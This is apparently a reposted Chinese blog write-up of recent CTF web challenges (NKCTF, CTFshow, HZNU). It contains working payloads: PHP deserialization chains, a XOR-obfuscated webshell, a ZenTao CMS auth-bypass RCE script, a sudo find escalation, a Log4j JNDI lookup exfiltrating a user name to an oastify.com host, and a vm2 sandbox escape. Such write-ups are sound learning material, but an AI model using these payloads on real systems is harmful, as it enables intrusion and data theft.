0


近期CTF web

文章目录

NKCTF

baby_php

<?phperror_reporting(0);classWelcome{public$name;public$arg='oww!man!!';publicfunction__construct(){$this->name='ItS SO CREAZY';}publicfunction__destruct(){if($this->name=='welcome_to_NKCTF'){echo$this->arg;}}}functionwaf($string){if(preg_match('/f|l|a|g|\*|\?/i',$string)){die("you are bad");}}classHappy{public$shell;public$cmd;publicfunction__invoke(){$shell=$this->shell;$cmd=$this->cmd;waf($cmd);eval($shell($cmd));}}classHell0{public$func;publicfunction__toString(){$function=$this->func;$function();}}if(isset($_GET['p'])){unserialize($_GET['p']);}else{highlight_file(__FILE__);}?>

很基础的反序列化
先dir / 读到文件名是f1ag
唯一要绕的点是如何读f1ag,这里用[!]来替换通配符?
[!q]表示匹配非q的字符

poc:

<?phpclassWelcome{public$name;public$arg;publicfunction__construct($ar){$this->name='welcome_to_NKCTF';$this->arg=$ar;}}functionwaf($string){if(preg_match('/f|l|a|g|\*|\?/i',$string)){die("you are bad");}}classHappy{public$shell;public$cmd;publicfunction__construct($sh,$cm){$this->shell=$sh;$this->cmd=$cm;}}classHell0{public$func;publicfunction__construct($fu){$this->func=$fu;}}$s=newWelcome(newHell0(newHappy('system','sort /[!q]1[!q][!q]')));echo(serialize($s));

ez_php

<?phphighlight_file(__FILE__);error_reporting(0);if($_GET['a']!=$_GET['b']&&md5($_GET['a'])==md5($_GET['b'])){if((string)$_POST['c']!=(string)$_POST['d']&&sha1($_POST['c'])===sha1($_POST['d'])){if($_GET['e']!=114514&&intval($_GET['e'])==114514){if(isset($_GET['NS_CTF.go'])){if(isset($_POST['cmd'])){if(!preg_match('/[0-9a-zA-Z]/i',$_POST['cmd'])){eval($_POST['cmd']);}else{die('error!!!!!!');}}else{die('error!!!!!');}}else{die('error!!!!');}}else{die('error!!!');}}else{die('error!!');}}else{die('error!');}?>

签到难度,不过这里的sha1强比较试了挺多payload才好,post一定要urlencode

下划线_用[替代即可,无数字字母rce就行了
image-20230408195926323

hard_php

<?php// not only ++error_reporting(0);highlight_file(__FILE__);if(isset($_POST['NKCTF'])){$NK=$_POST['NKCTF'];if(is_string($NK)){if(!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK)&&strlen($NK)<105){eval($NK);}else{echo("hacker!!!");}}else{phpinfo();}}?>

由ctfshow最近的rce专项赛改编,原题没有限制字符长度

这里也提示// not only ++

所以应该不是自增来拿字符了,但是通过自增可以拿到一点数字

还有什么方法

发现好像是原题 RCE挑战5

先读phpinfo,传数组即可,禁用了很多函数,不过用highlight_file读即可
image-20230408200136266

easy_pms

image-20230408200248883
禅道 CMS 版本 18.0

有个python脚本可以检测漏洞存在,稍微改了一下就行

# -*- coding: UTF-8 -*-# !/usr/bin/python'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''import requests

proxies ={#"http": "127.0.0.1:8080",#"https": "127.0.0.1:8080",}defcheck(url):
    url="http://075a86dd-ec64-411c-a576-7c6548a19b4a.node2.yuzhian.com.cn/"
    url1 = url+'/misc-captcha-user.html'# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
    url3 = url +'repo-create.html'
    url4 = url +'repo-edit-10000-10000.html'
    headers={"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36","Accept-Language":"zh-CN,zh;q=0.9","Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",}

    headers2 ={"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36","Accept-Language":"zh-CN,zh;q=0.9","Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default","Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","Referer":url+"/repo-edit-1-0.html"}

    data1 ='product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
    data2 ={'SCM':'Subversion','client':"`tac /f*`"}#data2 = 'SCM=Subversion&client=`id`'
    s=requests.session()try:
        req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
        req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
        req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)print(req4.text)if'uid='in req4.text:print(url,"")returnTrueexcept Exception as e:print(e)returnFalseif __name__ =='__main__':print(check("http://075a86dd-ec64-411c-a576-7c6548a19b4a.node2.yuzhian.com.cn/"))

easy_cms

后台路径/dede

用户名密码都是admin

进入管理页面。方法就多了,很多师傅也都是直接在模板文件中直接写了个webshell,需要搞一下免杀就行,比如无字母rce

比如异或webshell:

<?=@("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);//get pass=1

我的做法也大同小异,其实可以删除一些匹配的black_list,删除后经过测试只会禁用POST,模板文件直接执行命令即可。

image-20230408201013678

WebPageTest

https://xz.aliyun.com/t/11798#toc-2

就是这个点,注意kali下的php.ini 也要设置一下phar

跟着文章打payload即可,解决工具报错就行
image-20230408201138692

xiaopi

就是最近爆出的洞

登录页面触发XSS进而可以通过poc来rce

路径不知道,通过增加X-Requested-With: XMLHttpRequest 来拿到首页
image-20230408201318051
经过测试XSS能执行成功,也能拿到cookie
image-20230408201528958
小皮面板这题卡了一天是由于最后执行命令不成功

网上流传的测试poc尽数是创建文件

image-20230408201746550

我想当然地也去创建文件了,继而写马即可

由于不太确定文件路径,所以我一直怀疑是我的文件路径设置的有问题所以没成功,linux下的小皮面板路径我也摸了很多,大概是

/www/wwwroot/phpstudy/index.php

,因为一直出不来就反复摆烂了,最后一天去看misc居多了。

好吧,最后wp都是反弹shell,其实我剩最后几分钟时候有尝试反弹shell,大概率是某个地方写错了,导致没连接上。这下长记性了。

并且网上有位大哥直播分享了刚刚挖到新的点,试了试没试出来。也分享一下

https://www.bilibili.com/video/BV1Yc411j7TP/

https://f5.pm/go-155268.html

这个sql堆叠,我看某个wp是有师傅利用到了,但是密码是三次MD5加密。

CTFshow愚人赛

easy_signin

base64文件名读取图片

image-20230408204515744

拿到index.php的图片后解码bsae64就有flag

easy_ssti

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)@app.route('/hello/')defhello(name=None):return render_template('hello.html',name=name)@app.route('/hello/<name>')defhellodear(name):if"ge"in name:return render_template_string('hello %s'% name)elif"f"notin name:return render_template_string('hello %s'% name)else:return'Nonononon'

image-20230408204728767
这里ls /没有出来,用的 cd …

ez_flask

这个是我出的题目,准备来出给学校的校赛的,所以难度还是非常友好的。没有意外,都被师傅们签到了hhh。

flask的session伪造 + 任意文件下载 + python命令执行

存在admin账户,密码不能爆破。注册新用户后登录

首页有一个learn连接和需要role为admin的提示
image-20230408203628549image-20230408203655835
learn连接暴露了session的密钥,由此可以进行session伪造
image-20230408203716282
拿到admin的权限,会多出一个下载功能点,点击之后下载的是fakeflag,这里需要观察一下前端的a标签路径

image-20230408203747833

通过经验或者learn页面的注释,去下载app.py可以成功拿到源码

/download/?filename=app.py

image-20230408203811848
有一个简单的命令执行路由

源码没有提供os库。需要自己引入一下os库,即可

__import__("os").popen("ls").read();

可以用这个payload直接读

被遗忘的反序列化

<?php# 当前目录中有一个txt文件哦error_reporting(0);show_source(__FILE__);include("check.php");classEeE{public$text;public$eeee;publicfunction__wakeup(){if($this->text=="aaaa"){echolcfirst($this->text);}}publicfunction__get($kk){echo"$kk,eeeeeeeeeeeee";}publicfunction__clone(){$a=newcycycycy;$a->aaa();}}classcycycycy{public$a;private$b;publicfunctionaaa(){$get=$_GET['get'];$get=cipher($get);if($get==="p8vfuv8g8v8py"){eval($_POST["eval"]);}}publicfunction__invoke(){$a_a=$this->a;echo"\$a_a\$";}}classgBoBg{public$name;public$file;public$coos;private$eeee="-_-";publicfunction__toString(){if(isset($this->name)){$a=new$this->coos($this->file);echo$a;}elseif(!isset($this->file)){return$this->coos->name;}else{$aa=$this->coos;$bb=$this->file;return$aa();}}}classw_wuw_w{public$aaa;public$key;public$file;publicfunction__wakeup(){if(!preg_match("/php|63|\*|\?/i",$this->key)){$this->key=file_get_contents($this->file);}else{echo"不行哦";}}publicfunction__destruct(){echo$this->aaa;}publicfunction__invoke(){$this->aaa=clonenewEeE;}}$_ip=$_SERVER["HTTP_AAAAAA"];unserialize($_ip);

存在非预期,直接内置类打

classgBoBg{public$name;public$file;public$coos;private$eeee="-_-";publicfunction__toString(){if(isset($this->name)){$a=new$this->coos($this->file);echo$a;}

因为这里的

$this->coos

$this->file 

都可控,那就可以使用经典的echo new a(b)的payload

⾸先⽤能遍历⽬录的原⽣类,⽐如DirectoryIterator结合glob读⽂件名

?a=DirectoryIterator&b=glob:///f*

然后⽤SplFileObject去读⽂件

?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

大致原理如此,可参考https://mp.weixin.qq.com/s/CDNU1RgfeliURN69UZqCTA

这题如何利用呢,先触发一下__toString()

classw_wuw_w{public$aaa;publicfunction__destruct(){echo$this->aaa;}

也可直接忽略wakeup,destruct()直接有echo,可以触发tostring

<?phpclassgBoBg{public$name='aa';public$file='glob:///f*';public$coos='DirectoryIterator';}classw_wuw_w{public$aaa;publicfunction__construct($a){$this->aaa=$a;}}$s=neww_wuw_w(newgBoBg());echoserialize($s);
O:7:"w_wuw_w":1:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:2:"aa";s:4:"file";s:10:"glob:///f*";s:4:"coos";s:17:"DirectoryIterator";}}

然后反序列化点是

$_SERVER["HTTP_AAAAAA"];

就是请求头AAAAAA
image-20230408221311098
然后⽤SplFileObject去读flag⽂件
image-20230408221514628

easy_php

反序列化学到新trick

<?phperror_reporting(0);highlight_file(__FILE__);classctfshow{publicfunction__wakeup(){die("not allowed!");}publicfunction__destruct(){system($this->ctfshow);}}$data=$_GET['1+1>2'];if(!preg_match("/^[Oa]:[\d]+/i",$data)){unserialize($data);}

不能以O和a开头,在php低版本中,O或a的冒号后的数字前可以加一个+来进行绕过,不过这个版本不行

还有一种方式是C开头

参考:https://wiki.php.net/rfc/custom_object_serialization

实现

Serializable

接口的类使用

C

格式编码,基本上是

C:ClassNameLen:"ClassName":PayloadLen:{Payload}

,其中

Payload

是任意字符串

根据这个格式,造了个payload是

C:7:"ctfshow":27:{s:7:"ctfshow";s:6:"whoami";}

本地debug时候发现属性还是赋值不成功
image-20230408225444653
原因是不能这样随意构造,需要利用内置了

Serializable

接口的类,比如

ArrayObject

参考:https://www.php.net/manual/zh/arrayobject.serialize.php

使用这个类去修饰

ctfshow

<?phpclassctfshow{public$ctfshow='whoami';}$a=newArrayObject();$a->b=newctfshow();echoserialize($a);?>C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"b";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}

image-20230408234755809

杭师大CTF

findme

image-20230408201959157
都得有root权限

也不能创文件,试了试无回显也都不行

试了下echo是可以的,偶然发现echo *是可以读目录的,之前不知道。。
image-20230408202021091
然而读文件还是不行

还有个start.sh以为是重大hint嘞

后来就把目光放在了tmp,因为tmp可以普通权限

tmp 目录可以群魔乱舞了,但是不能读文件

tmp目录创建后 也不能执行。。还是没权限执行,但是chmod又不能用,卡住了

wp出来了,学习了一波

usr/bin 下有sudo程序 /bin 存放所有用户皆可用的系统程序
image-20230408202102090
用sudo提权find命令

find anyfile -exec whoami \;

image-20230408202126929

ez_java

Try to fxxk it ( Log4j

I will log your uri. hint:fastjson 1.2.48

没接写过java的题目,根据提示是

fastjson 1.2.48利用log4j

不过这个是个很典型的漏洞利用了

可以用payload进行漏洞检测

url/${jndi:ldap://your_ip:your_port/Exploit}

确实能检测到
image-20230408202423565
包括去试了一下dnslog查看用户,也是可以外带出来

/${jndi:ldap://${sys:user.name}.tpmki06srmv54i2xdrz201dpigo9cy.oastify.com/exp}

image-20230408202449467

如何RCE或者反弹shell还是需要学一下log4j的利用方法

参考文章:

https://www.cnblogs.com/peace-and-romance/p/15717457.html

https://www.freebuf.com/articles/web/358670.html

https://blog.csdn.net/qq_44159028/article/details/123397534

eznode

/app.js

泄露源码

const express =require('express');const app =express();const{VM}=require('vm2');

app.use(express.json());constbackdoor=function(){try{newVM().run({}.shellcode);}catch(e){
        console.log(e);}}constisObject=obj=> obj && obj.constructor && obj.constructor === Object;constmerge=(a, b)=>{for(var attr in b){if(isObject(a[attr])&&isObject(b[attr])){merge(a[attr], b[attr]);}else{
            a[attr]= b[attr];}}return a
}constclone=(a)=>{returnmerge({}, a);}

app.get('/',function(req, res){
    res.send("POST some json shit to /.  no source code and try to find source code");});

app.post('/',function(req, res){try{
        console.log(req.body)var body =JSON.parse(JSON.stringify(req.body));var copybody =clone(body)if(copybody.shit){backdoor()}
        res.send("post shit ok")}catch(e){
        res.send("is it shit ?")
        console.log(e)}})

app.listen(3000,function(){
    console.log('start listening on port 3000');});

引用了vm2,并且存在merge方法,存在原型链污染漏洞

backdoor方法

new VM().run({}.shellcode);

原型链污染进行vm2沙箱逃逸 ,学习一下

https://xz.aliyun.com/t/11859

https://xilitter.github.io/2023/01/31/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E6%8E%A2/index.html

vm2沙箱逃逸的payload:

let res =import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
标签: 前端 php 开发语言

本文转载自: https://blog.csdn.net/qq_61768489/article/details/130036882
版权归原作者 ThnPkm 所有, 如有侵权,请联系我们删除。

“近期CTF web”的评论:

还没有评论